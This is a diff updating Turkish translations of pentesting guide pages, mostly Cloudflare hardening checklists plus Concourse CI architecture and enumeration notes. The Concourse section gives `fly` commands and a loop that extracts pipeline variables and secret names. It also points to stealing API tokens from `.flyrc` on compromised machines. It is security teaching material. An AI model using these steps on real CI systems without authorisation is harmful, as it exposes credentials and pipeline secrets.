+- `Script İzleyici Yeni Kötü Amaçlı URL Uyarısı`
+- `Script İzleyici Yeni Scriptler Uyarısı`
+- `Script İzleyici Yeni Script Maksimum URL Uzunluğunu Aşma Uyarısı`
- `Gelişmiş Güvenlik Olayları Uyarısı`
- `Güvenlik Olayları Uyarısı`
- [ ] Tüm **hedefleri** kontrol edin, çünkü webhook URL'lerinde **hassas bilgiler** (temel http kimlik doğrulaması) olabilir. Ayrıca webhook URL'lerinin **HTTPS** kullandığından emin olun.
@@ -118,17 +118,17 @@ cloudflare-zero-trust-network.md
## Hesabı Yönet
-- [ ] **Son 4 haneli kredi kartı**, **son kullanma** tarihi ve **fatura adresi** **`Faturalama` -> `Ödeme bilgileri`** kısmında görülebilir.
-- [ ] Hesapta kullanılan **plan türünü** **`Faturalama` -> `Abonelikler`** kısmında görebilirsiniz.
-- [ ] **`Üyeler`** kısmında hesabın tüm üyeleri ve onların **rolleri** görülebilir. Plan türü Enterprise değilse, yalnızca 2 rol vardır: Yönetici ve Süper Yönetici. Ancak kullanılan **plan Enterprise** ise, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir ve bu da en az ayrıcalık ilkesine uyulmasını sağlar.
+- [ ] **`Faturalama` -> `Ödeme bilgileri`** kısmında **kredi kartının son 4 hanesini**, **son kullanma** tarihini ve **fatura adresini** görebilirsiniz.
+- [ ] **`Faturalama` -> `Abonelikler`** kısmında hesabın kullanılan **plan türünü** görebilirsiniz.
+- [ ] **`Üyeler`** kısmında hesabın tüm üyelerini ve onların **rollerini** görebilirsiniz. Plan türü Enterprise değilse, yalnızca 2 rol vardır: Yönetici ve Süper Yönetici. Ancak kullanılan **plan Enterprise** ise, [**daha fazla rol**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) kullanılabilir ve bu da en az ayrıcalık ilkesine uyulmasını sağlar.
- Bu nedenle, mümkün olduğunda **Enterprise planı** kullanılması **önerilir**.
-- [ ] Üyeler kısmında hangi **üyelerin** **2FA etkin** olduğunu kontrol edebilirsiniz. **Her** kullanıcının bunu etkinleştirmesi gerekir.
+- [ ] Üyeler kısmında hangi **üyelerin** **2FA etkin** olduğunu kontrol edebilirsiniz. **Her** kullanıcının bunu etkinleştirmesi gerekmektedir.
> [!NOTE]
-> Neyse ki, **`Yönetici`** rolü, üyelikleri yönetme izinleri vermez (**yetki artırma veya** yeni üyeler davet etme **mümkün değildir**).
+> Neyse ki, **`Yönetici`** rolü, üyelikleri yönetme izinleri vermez (**yetkileri artırma veya** yeni üyeler davet etme **imkanı yoktur**).
## DDoS Soruşturması
-[Bu kısmı kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection).
+[Burası kontrol edin](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 3a21db0b3..734cb6df7 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -1,4 +1,4 @@
-# Cloudflare Domains
+# Cloudflare Alan Adları
{{#include ../../banners/hacktricks-training.md}}
@@ -6,121 +6,121 @@ Cloudflare'da yapılandırılan her TLD'de bazı **genel ayarlar ve hizmetler**
-### Overview
+### Genel Bakış
-- [ ] Hesabın **hizmetlerinin ne kadar** **kullanıldığını** anlamak
+- [ ] Hesabın hizmetlerinin **ne kadar** **kullanıldığını** anlamak
- [ ] Ayrıca **zone ID** ve **account ID** bulmak
-### Analytics
+### Analitik
-- [ ] **`Security`** bölümünde herhangi bir **Rate limiting** olup olmadığını kontrol et
+- [ ] **`Güvenlik`** bölümünde herhangi bir **Hız sınırlaması** olup olmadığını kontrol edin
### DNS
-- [ ] DNS **kayıtlarında** **ilginç** (hassas?) verileri kontrol et
-- [ ] **İsim** (örneğin admin173865324.domin.com) temelinde **hassas bilgi** içerebilecek **alt alan adlarını** kontrol et
-- [ ] **Proxylenmemiş** web sayfalarını kontrol et
-- [ ] CNAME veya IP adresi ile **doğrudan erişilebilen** **proxylenmiş web sayfalarını** kontrol et
-- [ ] **DNSSEC**'in **etkin** olduğunu kontrol et
-- [ ] **Tüm CNAME'lerde** **CNAME Flattening**'in **kullanıldığını** kontrol et
+- [ ] DNS **kayıtlarında** **ilginç** (hassas?) verileri kontrol edin
+- [ ] **İsim** (örneğin admin173865324.domin.com) temelinde **hassas bilgi** içerebilecek **alt alan adlarını** kontrol edin
+- [ ] **Proxylenmemiş** web sayfalarını kontrol edin
+- [ ] CNAME veya IP adresi ile **doğrudan erişilebilen** **proxylenmiş web sayfalarını** kontrol edin
+- [ ] **DNSSEC**'in **etkin** olduğunu kontrol edin
+- [ ] **Tüm CNAME'lerde** **CNAME Düzleştirme**'nin **kullanıldığını** kontrol edin
- Bu, **alt alan adı ele geçirme açıklarını gizlemek** ve yükleme sürelerini iyileştirmek için faydalı olabilir
-- Alan adlarının [**sahtecilik için savunmasız olmadığını**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) kontrol et
+- Alan adlarının [**sahtecilik için savunmasız olmadığını**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) kontrol edin
-### **Email**
+### **E-posta**
TODO
-### Spectrum
+### Spektrum
TODO
### SSL/TLS
-#### **Overview**
+#### **Genel Bakış**
-- **SSL/TLS şifrelemesi** **Full** veya **Full (Strict)** olmalıdır. Diğer herhangi bir seçenek, bir noktada **düz metin trafiği** gönderecektir.
-- **SSL/TLS Recommender** etkin olmalıdır
+- [ ] **SSL/TLS şifrelemesi** **Tam** veya **Tam (Sıkı)** olmalıdır. Diğer herhangi bir seçenek, bir noktada **düz metin trafiği** gönderecektir.
+- [ ] **SSL/TLS Önerici** etkin olmalıdır
-#### Edge Certificates
+#### Kenar Sertifikaları
-- **Always Use HTTPS** **etkin** olmalıdır
-- **HTTP Strict Transport Security (HSTS)** **etkin** olmalıdır
-- **Minimum TLS Versiyonu 1.2** olmalıdır
-- **TLS 1.3** **etkin** olmalıdır
-- **Automatic HTTPS Rewrites** **etkin** olmalıdır
-- **Certificate Transparency Monitoring** **etkin** olmalıdır
+- [ ] **Her Zaman HTTPS Kullan** **etkin** olmalıdır
+- [ ] **HTTP Sıkı Taşıma Güvenliği (HSTS)** **etkin** olmalıdır
+- [ ] **Minimum TLS Sürümü 1.2** olmalıdır
+- [ ] **TLS 1.3 etkin** olmalıdır
+- [ ] **Otomatik HTTPS Yeniden Yazmaları** **etkin** olmalıdır
+- [ ] **Sertifika Şeffaflığı İzleme** **etkin** olmalıdır
-### **Security**
+### **Güvenlik**
-- **`WAF`** bölümünde, **Firewall** ve **rate limiting kurallarının kullanıldığını** kontrol etmek ilginçtir.
-- **`Bypass`** eylemi, bir istekte **Cloudflare güvenlik** özelliklerini **devre dışı bırakır**. Kullanılmamalıdır.
-- **`Page Shield`** bölümünde, herhangi bir sayfa kullanılıyorsa **etkin** olduğunu kontrol etmek önerilir
-- **`API Shield`** bölümünde, Cloudflare'da herhangi bir API açığa çıkmışsa **etkin** olduğunu kontrol etmek önerilir
-- **`DDoS`** bölümünde, **DDoS korumalarının** etkinleştirilmesi önerilir
-- **`Settings`** bölümünde:
-- **`Security Level`**'ın **orta** veya daha yüksek olduğunu kontrol et
-- **`Challenge Passage`**'ın en fazla 1 saat olduğunu kontrol et
-- **`Browser Integrity Check`**'in **etkin** olduğunu kontrol et
-- **`Privacy Pass Support`**'ın **etkin** olduğunu kontrol et
+- [ ] **`WAF`** bölümünde, **Firewall** ve **hız sınırlama kurallarının kullanıldığını** kontrol etmek ilginçtir.
+- **`Bypass`** eylemi, bir isteğe yönelik **Cloudflare güvenlik** özelliklerini **devre dışı bırakır**. Kullanılmamalıdır.
+- [ ] **`Sayfa Kalkanı`** bölümünde, herhangi bir sayfa kullanılıyorsa **etkin** olduğunu kontrol etmek önerilir
+- [ ] **`API Kalkanı`** bölümünde, Cloudflare'da herhangi bir API açığa çıkıyorsa **etkin** olduğunu kontrol etmek önerilir
+- [ ] **`DDoS`** bölümünde **DDoS korumalarının** etkinleştirilmesi önerilir
+- [ ] **`Ayarlar`** bölümünde:
+- [ ] **`Güvenlik Seviyesi`** **orta** veya daha yüksek olduğunu kontrol edin
+- [ ] **`Meydan Okuma Süresi`** en fazla 1 saat olduğunu kontrol edin
+- [ ] **`Tarayıcı Bütünlüğü Kontrolü`** **etkin** olduğunu kontrol edin
+- [ ] **`Gizlilik Pass Desteği`** **etkin** olduğunu kontrol edin
-#### **CloudFlare DDoS Protection**
+#### **CloudFlare DDoS Koruması**
-- Eğer mümkünse, **Bot Fight Mode** veya **Super Bot Fight Mode**'u etkinleştir. Programatik olarak erişilen bazı API'leri koruyorsanız (örneğin bir JS ön yüz sayfasından). Bu erişimi bozmadan etkinleştiremeyebilirsiniz.
-- **WAF**'da: **URL yolu** veya **doğrulanmış botlar** için **rate limit** oluşturabilirsiniz (Rate limiting kuralları), veya **IP, Cookie, referans** vb. temelinde **erişimi engelleyebilirsiniz**. Böylece bir web sayfasından gelmeyen veya bir çerezi olmayan istekleri engelleyebilirsiniz.
-- Eğer saldırı bir **doğrulanmış bot** tarafından geliyorsa, en azından **botlar için bir rate limit** ekleyin.
-- Eğer saldırı **belirli bir yola** ise, önleme mekanizması olarak bu yolda bir **rate limit** ekleyin.
-- **WAF**'daki **Tools** bölümünden IP adreslerini, IP aralıklarını, ülkeleri veya ASN'leri **beyaz listeye alabilirsiniz**.
-- **Managed rules**'ın da zafiyet istismarlarını önlemeye yardımcı olup olmadığını kontrol edin.
-- **Tools** bölümünde belirli IP'lere ve **kullanıcı ajanlarına** **engelleme veya meydan okuma** yapabilirsiniz.
+- Eğer mümkünse, **Bot Savaş Modu** veya **Süper Bot Savaş Modu**'nu etkinleştirin. Programlı olarak erişilen bazı API'leri koruyorsanız (örneğin bir JS ön yüz sayfasından). Bu erişimi bozmadığınız sürece bunu etkinleştiremeyebilirsiniz.
+- **WAF**'da: **URL yolu** veya **doğrulanmış botlar** için **hız sınırlamaları** oluşturabilirsiniz (Hız sınırlama kuralları), veya IP, Çerez, yönlendiren vb. temelinde **erişimi engelleyebilirsiniz**. Böylece bir web sayfasından gelmeyen veya çerezi olmayan istekleri engelleyebilirsiniz.
+- Eğer saldırı **doğrulanmış bir bot** tarafından geliyorsa, en azından **botlar için bir hız sınırlaması** ekleyin.
+- Eğer saldırı **belirli bir yola** ise, önleme mekanizması olarak bu yolda bir **hız sınırlaması** ekleyin.
+- **WAF**'daki **Araçlar** bölümünden IP adreslerini, IP aralıklarını, ülkeleri veya ASN'leri **beyaz listeye alabilirsiniz**.
+- **Yönetilen kuralların** zafiyet istismarlarını önlemeye yardımcı olup olamayacağını kontrol edin.
+- **Araçlar** bölümünde belirli IP'lere ve **kullanıcı ajanlarına** **engelleme veya meydan okuma** yapabilirsiniz.
- DDoS'da bazı kuralları **daha kısıtlayıcı hale getirmek için geçersiz kılabilirsiniz**.
-- **Settings**: **Security Level**'ı **Yüksek** ve **Under Attack** olarak ayarlayın eğer saldırı altındaysanız ve **Browser Integrity Check etkin** ise.
-- Cloudflare Domains -> Analytics -> Security -> **rate limit**'in etkin olup olmadığını kontrol et
-- Cloudflare Domains -> Security -> Events -> **tespit edilen kötü niyetli olaylar** için kontrol et
+- **Ayarlar**: **Güvenlik Seviyesi**'ni **Yüksek** ve **Saldırı Altında** olarak ayarlayın eğer Saldırı Altındaysanız ve **Tarayıcı Bütünlüğü Kontrolü etkin** ise.
+- Cloudflare Alan Adları -> Analitik -> Güvenlik -> **hız sınırlamasının** etkin olup olmadığını kontrol edin
+- Cloudflare Alan Adları -> Güvenlik -> Olaylar -> **tespit edilen kötü niyetli Olaylar** için kontrol edin
-### Access
+### Erişim
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
-### Speed
+### Hız
_Güvenlikle ilgili herhangi bir seçenek bulamadım_
-### Caching
+### Önbellekleme
-- **`Configuration`** bölümünde **CSAM Scanning Tool**'un etkinleştirilmesini düşünün
+- [ ] **`Yapılandırma`** bölümünde **CSAM Tarama Aracı**'nı etkinleştirmeyi düşünün
-### **Workers Routes**
+### **Workers Yolları**
_Daha önce_ [_cloudflare workers_](./#workers) _kontrol etmiş olmalısınız_
-### Rules
+### Kurallar
TODO
-### Network
+### Ağ
- [ ] Eğer **`HTTP/2`** **etkinse**, **`HTTP/2 to Origin`** **etkin** olmalıdır
-- [ ] **`HTTP/3 (with QUIC)`** **etkin** olmalıdır
+- [ ] **`HTTP/3 (QUIC ile)`** **etkin** olmalıdır
- [ ] Eğer **kullanıcılarınızın** **gizliliği** önemliyse, **`Onion Routing`**'in **etkin** olduğundan emin olun
-### **Traffic**
+### **Trafik**
TODO
-### Custom Pages
+### Özel Sayfalar
-- Güvenlikle ilgili bir hata tetiklendiğinde (örneğin bir engelleme, rate limiting veya saldırı altındayım modu) özel sayfaları yapılandırmak isteğe bağlıdır
+- [ ] Güvenlikle ilgili bir hata tetiklendiğinde (örneğin bir engelleme, hız sınırlaması veya saldırı altındayım modu) özel sayfaları yapılandırmak isteğe bağlıdır
-### Apps
+### Uygulamalar
TODO
### Scrape Shield
-- **Email Address Obfuscation**'ın **etkin** olduğunu kontrol et
-- **Server-side Excludes**'ın **etkin** olduğunu kontrol et
+- [ ] **E-posta Adresi Gizleme**'nin **etkin** olduğunu kontrol edin
+- [ ] **Sunucu tarafı Hariç Tutmalar**'ın **etkin** olduğunu kontrol edin
### **Zaraz**
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 485f38c47..4d73de034 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -19,3 +19,43 @@ Bir **Cloudflare Zero Trust Network** hesabında bazı **ayarlar ve hizmetler**
### Access
#### Applications
+
+Her uygulamada:
+
+- [ ] **Kimlerin** uygulamaya erişebileceğini **Policies** bölümünde kontrol edin ve **sadece** uygulamaya **erişime ihtiyaç duyan** **kullanıcıların** erişebildiğinden emin olun.
+- Erişimi sağlamak için **`Access Groups`** kullanılacak (ve **ek kurallar** da ayarlanabilir)
+- [ ] **Mevcut kimlik sağlayıcılarını** kontrol edin ve bunların **çok açık olmadığından** emin olun.
+- [ ] **`Settings`** bölümünde:
+- [ ] **CORS'un etkin olmadığını** kontrol edin (etkinse, **güvenli** olduğundan ve her şeyi izin vermediğinden emin olun)
+- [ ] Çerezlerin **Strict Same-Site** niteliğine, **HTTP Only** olmasına ve uygulama HTTP ise **binding cookie**'nin **etkin** olmasına dikkat edilmelidir.
+- Daha iyi **koruma** için **Tarayıcı render'ını** etkinleştirmeyi de düşünün. Daha fazla bilgi için **[**uzaktan tarayıcı izolasyonu burada**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+
+#### **Access Groups**
+
+- [ ] Oluşturulan erişim gruplarının **doğru bir şekilde kısıtlandığını** kontrol edin.
+- [ ] **Varsayılan erişim grubunun çok açık olmadığını** kontrol etmek özellikle önemlidir (çok fazla kişiye **izin vermemelidir**) çünkü **varsayılan** olarak o **gruptaki** herkes **uygulamalara erişebilecektir**.
+- **HERKESE** erişim vermenin ve diğer **çok açık politikaların** mümkün olduğunu unutmayın; bunlar %100 gerekli olmadıkça önerilmez.
+
+#### Service Auth
+
+- [ ] Tüm hizmet jetonlarının **1 yıl veya daha kısa sürede** süresinin dolduğunu kontrol edin.
+
+#### Tunnels
+
+TODO
+
+### My Team
+
+TODO
+
+### Logs
+
+- [ ] Kullanıcılardan **beklenmedik eylemler** arayabilirsiniz.
+
+### Settings
+
+- [ ] **Plan türünü** kontrol edin.
+- [ ] **Kredi kartı sahibi adı**, **son 4 haneler**, **son kullanma** tarihi ve **adres** görülebilir.
+- Bu hizmeti gerçekten kullanmayan kullanıcıları kaldırmak için **Bir Kullanıcı Koltuğu Süresi** eklemeniz önerilir.
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index 3a3535e7f..ec581b762 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -8,7 +8,7 @@ Concourse, ihtiyaç duyduğunuzda (zaman bazlı, bir şey olduğunda...) testler
## Concourse Mimarisi
-Concourse ortamının nasıl yapılandırıldığını öğrenin:
+Concourse ortamının nasıl yapılandığını öğrenin:
{{#ref}}
concourse-architecture.md
@@ -24,7 +24,7 @@ concourse-lab-creation.md
## Concourse'u Sayısal Olarak Belirleme ve Saldırı
-Concourse ortamını nasıl belirleyip istismar edebileceğinizi öğrenin:
+Concourse ortamını nasıl sayısal olarak belirleyip istismar edebileceğinizi öğrenin:
{{#ref}}
concourse-enumeration-and-attacks.md
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index 62baf9451..77c1284e3 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -10,15 +10,15 @@
.png>)
-#### ATC: web UI & derleme zamanlayıcı
+#### ATC: web UI & build zamanlayıcı
-ATC, Concourse'un kalbidir. **web UI ve API**'yi çalıştırır ve tüm pipeline **zamanlamasından** sorumludur. **PostgreSQL** ile **bağlanır**, bu veritabanını pipeline verilerini (derleme günlükleri dahil) saklamak için kullanır.
+ATC, Concourse'un kalbidir. **web UI ve API**'yi çalıştırır ve tüm pipeline **zamanlamasından** sorumludur. **PostgreSQL** ile **bağlanır**, bu veritabanını pipeline verilerini (build günlükleri dahil) depolamak için kullanır.
-[checker](https://concourse-ci.org/checker.html)'ın sorumluluğu, kaynakların yeni sürümlerini sürekli kontrol etmektir. [scheduler](https://concourse-ci.org/scheduler.html) bir iş için derlemeleri zamanlamaktan sorumludur ve [build tracker](https://concourse-ci.org/build-tracker.html) herhangi bir planlanmış derlemeyi çalıştırmaktan sorumludur. [garbage collector](https://concourse-ci.org/garbage-collector.html) ise kullanılmayan veya eski nesneleri, örneğin konteynerler ve hacimler, kaldırmak için temizlik mekanizmasıdır.
+[Checker](https://concourse-ci.org/checker.html), kaynakların yeni sürümlerini sürekli kontrol etmekten sorumludur. [Zamanlayıcı](https://concourse-ci.org/scheduler.html), bir iş için build'leri zamanlamaktan sorumludur ve [build izleyici](https://concourse-ci.org/build-tracker.html), herhangi bir zamanlanmış build'i çalıştırmaktan sorumludur. [Çöp toplayıcı](https://concourse-ci.org/garbage-collector.html), kullanılmayan veya güncel olmayan nesneleri, örneğin konteynerler ve hacimler gibi, kaldırmak için temizlik mekanizmasıdır.
#### TSA: işçi kaydı & yönlendirme
-TSA, yalnızca [**işçileri**](https://concourse-ci.org/internals.html#architecture-worker) [ATC](https://concourse-ci.org/internals.html#component-atc) ile güvenli bir şekilde **kaydetmek** için kullanılan **özel yapım bir SSH sunucusudur**.
+TSA, yalnızca güvenli bir şekilde [**işçileri**](https://concourse-ci.org/internals.html#architecture-worker) [ATC](https://concourse-ci.org/internals.html#component-atc) ile **kaydetmek** için kullanılan **özel yapım bir SSH sunucusudur**.
TSA, **varsayılan olarak `2222` portunda dinler** ve genellikle [ATC](https://concourse-ci.org/internals.html#component-atc) ile birlikte yer alır ve bir yük dengeleyicinin arkasında bulunur.
@@ -28,8 +28,8 @@ TSA, **varsayılan olarak `2222` portunda dinler** ve genellikle [ATC](https://c
Görevleri yerine getirmek için Concourse'un bazı işçilere sahip olması gerekir. Bu işçiler, [TSA](https://concourse-ci.org/internals.html#component-tsa) aracılığıyla **kendilerini kaydeder** ve [**Garden**](https://github.com/cloudfoundry-incubator/garden) ve [**Baggageclaim**](https://github.com/concourse/baggageclaim) hizmetlerini çalıştırır.
-- **Garden**: Bu, genellikle **HTTP** üzerinden **port 7777**'de çalışan **Konteyner Yönetim API**'sidir.
-- **Baggageclaim**: Bu, genellikle **HTTP** üzerinden **port 7788**'de çalışan **Hacim Yönetim API**'sidir.
+- **Garden**: Bu, **Konteyner Yönetim API**'sidir, genellikle **HTTP** üzerinden **port 7777**'de çalışır.
+- **Baggageclaim**: Bu, **Hacim Yönetim API**'sidir, genellikle **HTTP** üzerinden **port 7788**'de çalışır.
## Referanslar
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 19af05e04..d9932902a 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -8,23 +8,23 @@
Concourse beş rol ile gelir:
-- _Concourse_ **Admin**: Bu rol yalnızca **ana takım** (varsayılan başlangıç concourse takımı) sahiplerine verilir. Yöneticiler **diğer takımları yapılandırabilir** (örn.: `fly set-team`, `fly destroy-team`...). Bu rolün izinleri RBAC tarafından etkilenemez.
+- _Concourse_ **Admin**: Bu rol yalnızca **ana takım** (varsayılan başlangıç concourse takımı) sahiplerine verilir. Adminler **diğer takımları yapılandırabilir** (örn.: `fly set-team`, `fly destroy-team`...). Bu rolün izinleri RBAC tarafından etkilenemez.
- **sahip**: Takım sahipleri **takım içindeki her şeyi değiştirebilir**.
- **üye**: Takım üyeleri **takım varlıkları içinde okuyabilir ve yazabilir** ancak takım ayarlarını değiştiremez.
- **pipeline-operator**: Pipeline operatörleri **pipeline işlemleri** gerçekleştirebilir, örneğin derlemeleri tetikleyebilir ve kaynakları sabitleyebilir, ancak pipeline yapılandırmalarını güncelleyemezler.
- **görüntüleyici**: Takım görüntüleyicileri bir takıma ve onun pipeline'larına **"salt okunur" erişime** sahiptir.
> [!NOTE]
-> Ayrıca, **sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri** RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Bunun hakkında daha fazla bilgi için: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html) okuyun.
+> Ayrıca, **sahip, üye, pipeline-operator ve görüntüleyici rollerinin izinleri** RBAC yapılandırılarak değiştirilebilir (daha spesifik olarak, eylemleri yapılandırarak). Daha fazla bilgi için: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
Concourse'un **pipeline'ları Takımlar içinde grupladığını** unutmayın. Bu nedenle bir Takıma ait olan kullanıcılar o pipeline'ları yönetebilecek ve **birden fazla Takım** var olabilir. Bir kullanıcı birden fazla Takıma ait olabilir ve her birinde farklı izinlere sahip olabilir.
### Vars & Credential Manager
YAML yapılandırmalarında değerleri `((_source-name_:_secret-path_._secret-field_))` sözdizimini kullanarak yapılandırabilirsiniz.\
-[Belgelerden:](https://concourse-ci.org/vars.html#var-syntax) **source-name isteğe bağlıdır**, ve atlandığında, [küme genel kimlik bilgisi yöneticisi](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) kullanılacak veya değer [statik olarak](https://concourse-ci.org/vars.html#static-vars) sağlanabilir.\
-**isteğe bağlı \_secret-field**\_ alınan gizli bilgide okunacak bir alanı belirtir. Atlandığında, kimlik bilgisi yöneticisi, alan mevcutsa alınan kimlik bilgisinden 'varsayılan alan' okumayı seçebilir.\
-Ayrıca, _**secret-path**_ ve _**secret-field**_ `.` ve `:` gibi **özel karakterler** içeriyorsa çift tırnak `"..."` ile çevrilebilir. Örneğin, `((source:"my.secret"."field:1"))` _secret-path_ değerini `my.secret` ve _secret-field_ değerini `field:1` olarak ayarlayacaktır.
+[Belgelerden:](https://concourse-ci.org/vars.html#var-syntax) **source-name isteğe bağlıdır**, ve atlandığında, [küme genel kimlik yöneticisi](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) kullanılacak veya değer [statik olarak](https://concourse-ci.org/vars.html#static-vars) sağlanabilir.\
+**isteğe bağlı \_secret-field**\_ alınan gizli bilgide okunacak bir alanı belirtir. Atlandığında, kimlik yöneticisi, alan mevcutsa alınan kimlikten 'varsayılan alanı' okumayı seçebilir.\
+Ayrıca, _**secret-path**_ ve _**secret-field**_ özel karakterler içeriyorsa `"` ile çevrelenebilir. Örneğin, `((source:"my.secret"."field:1"))` _secret-path_ değerini `my.secret` ve _secret-field_ değerini `field:1` olarak ayarlayacaktır.
#### Statik Vars
@@ -34,16 +34,16 @@ Statik vars **görev adımlarında** belirtilebilir:
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
-Or using the following `fly` **arguments**:
+Or aşağıdaki `fly` **argümanlarını** kullanarak:
-- `-v` or `--var` `NAME=VALUE` dizesini `VALUE` olarak ayarlar.
-- `-y` or `--yaml-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` değişkeninin değeri olarak ayarlar.
-- `-i` or `--instance-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` örnek değişkeninin değeri olarak ayarlar. Örnek değişkenleri hakkında daha fazla bilgi için [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) sayfasına bakın.
-- `-l` or `--load-vars-from` `FILE` `FILE`'yi yükler, bu dosya değişken adlarını değerlere eşleyen bir YAML belgesidir ve hepsini ayarlar.
+- `-v` veya `--var` `NAME=VALUE` dizesini `VALUE` olarak ayarlar.
+- `-y` veya `--yaml-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` değişkeninin değeri olarak ayarlar.
+- `-i` veya `--instance-var` `NAME=VALUE` `VALUE`'yi YAML olarak ayrıştırır ve `NAME` örnek değişkeninin değeri olarak ayarlar. Daha fazla bilgi için [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) sayfasını okuyun.
+- `-l` veya `--load-vars-from` `FILE` `FILE`'yi yükler, bu bir değer ile eşleştirilmiş değişken adlarını içeren bir YAML belgesidir ve hepsini ayarlar.
-#### Credential Management
+#### Kimlik Bilgisi Yönetimi
-Bir **Credential Manager**'ın bir pipeline'da nasıl belirtileceği hakkında farklı yollar vardır, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) adresinden okuyun.\
+Bir **Kimlik Bilgisi Yöneticisi**'nin bir pipeline'da nasıl belirtileceği hakkında farklı yollar vardır, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) adresinden okuyun.\
Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
@@ -59,13 +59,13 @@ Ayrıca, Concourse farklı kimlik bilgisi yöneticilerini destekler:
> [!CAUTION]
> Eğer **Concourse'a yazma erişiminiz** varsa, bu gizli bilgileri **sızdırmak için işler oluşturabilirsiniz** çünkü Concourse bunlara erişebilmelidir.
-### Concourse Enumeration
+### Concourse Sayım
-Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplamanız** veya muhtemelen bir `.flyrc` yapılandırma dosyasında bir **kimlik doğrulama token'ı** bulmanız gerekir.
+Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplamanız** veya muhtemelen bir `.flyrc` yapılandırma dosyasında bir **kimlik doğrulama jetonu** bulmanız gerekir.
-#### Login and Current User enum
+#### Giriş ve Mevcut Kullanıcı sayımı
-- Giriş yapmak için **endpoint**, **takım adı** (varsayılan `main`) ve **kullanıcının ait olduğu takımı** bilmeniz gerekir:
+- Giriş yapmak için **endpoint**, **takım adı** (varsayılan `main`) ve **kullanıcının ait olduğu takım**'ı bilmeniz gerekir:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Yapılandırılmış **hedefleri** alın:
- `fly targets`
@@ -75,9 +75,9 @@ Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplam
- `fly -t userinfo`
> [!NOTE]
-> **API token'ının** varsayılan olarak `$HOME/.flyrc` içinde **kaydedildiğini** unutmayın, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz.
+> **API jetonu** varsayılan olarak `$HOME/.flyrc` içinde **kaydedilir**, bir makineyi ele geçiriyorsanız, kimlik bilgilerini orada bulabilirsiniz.
-#### Teams & Users
+#### Takımlar & Kullanıcılar
- Takımların bir listesini alın
- `fly -t teams`
@@ -86,15 +86,15 @@ Bir concourse ortamını saymak için önce **geçerli kimlik bilgilerini toplam
- Kullanıcıların bir listesini alın
- `fly -t active-users`
-#### Pipelines
+#### Pipeline'lar
-- **List** pipeline'lar:
+- **Listele** pipeline'lar:
- `fly -t pipelines -a`
-- **Get** pipeline yaml (**hassas bilgiler** tanımda bulunabilir):
+- Pipeline yaml'ını **al** (**hassas bilgiler** tanımda bulunabilir):
- `fly -t get-pipeline -p `
-- Tüm pipeline **yapılandırma değişkenlerini** alın
+- Tüm pipeline **yapılandırma bildirilen değişkenlerini** al
- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Kullanılan tüm **pipeline gizli adlarını** alın (bir iş oluşturabilir/değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz):
+- Kullanılan tüm **pipeline gizli adlarını** al (bir iş oluşturabilir/değiştirebilir veya bir konteyneri ele geçirebilirseniz, bunları sızdırabilirsiniz):
```bash
rm /tmp/secrets.txt;
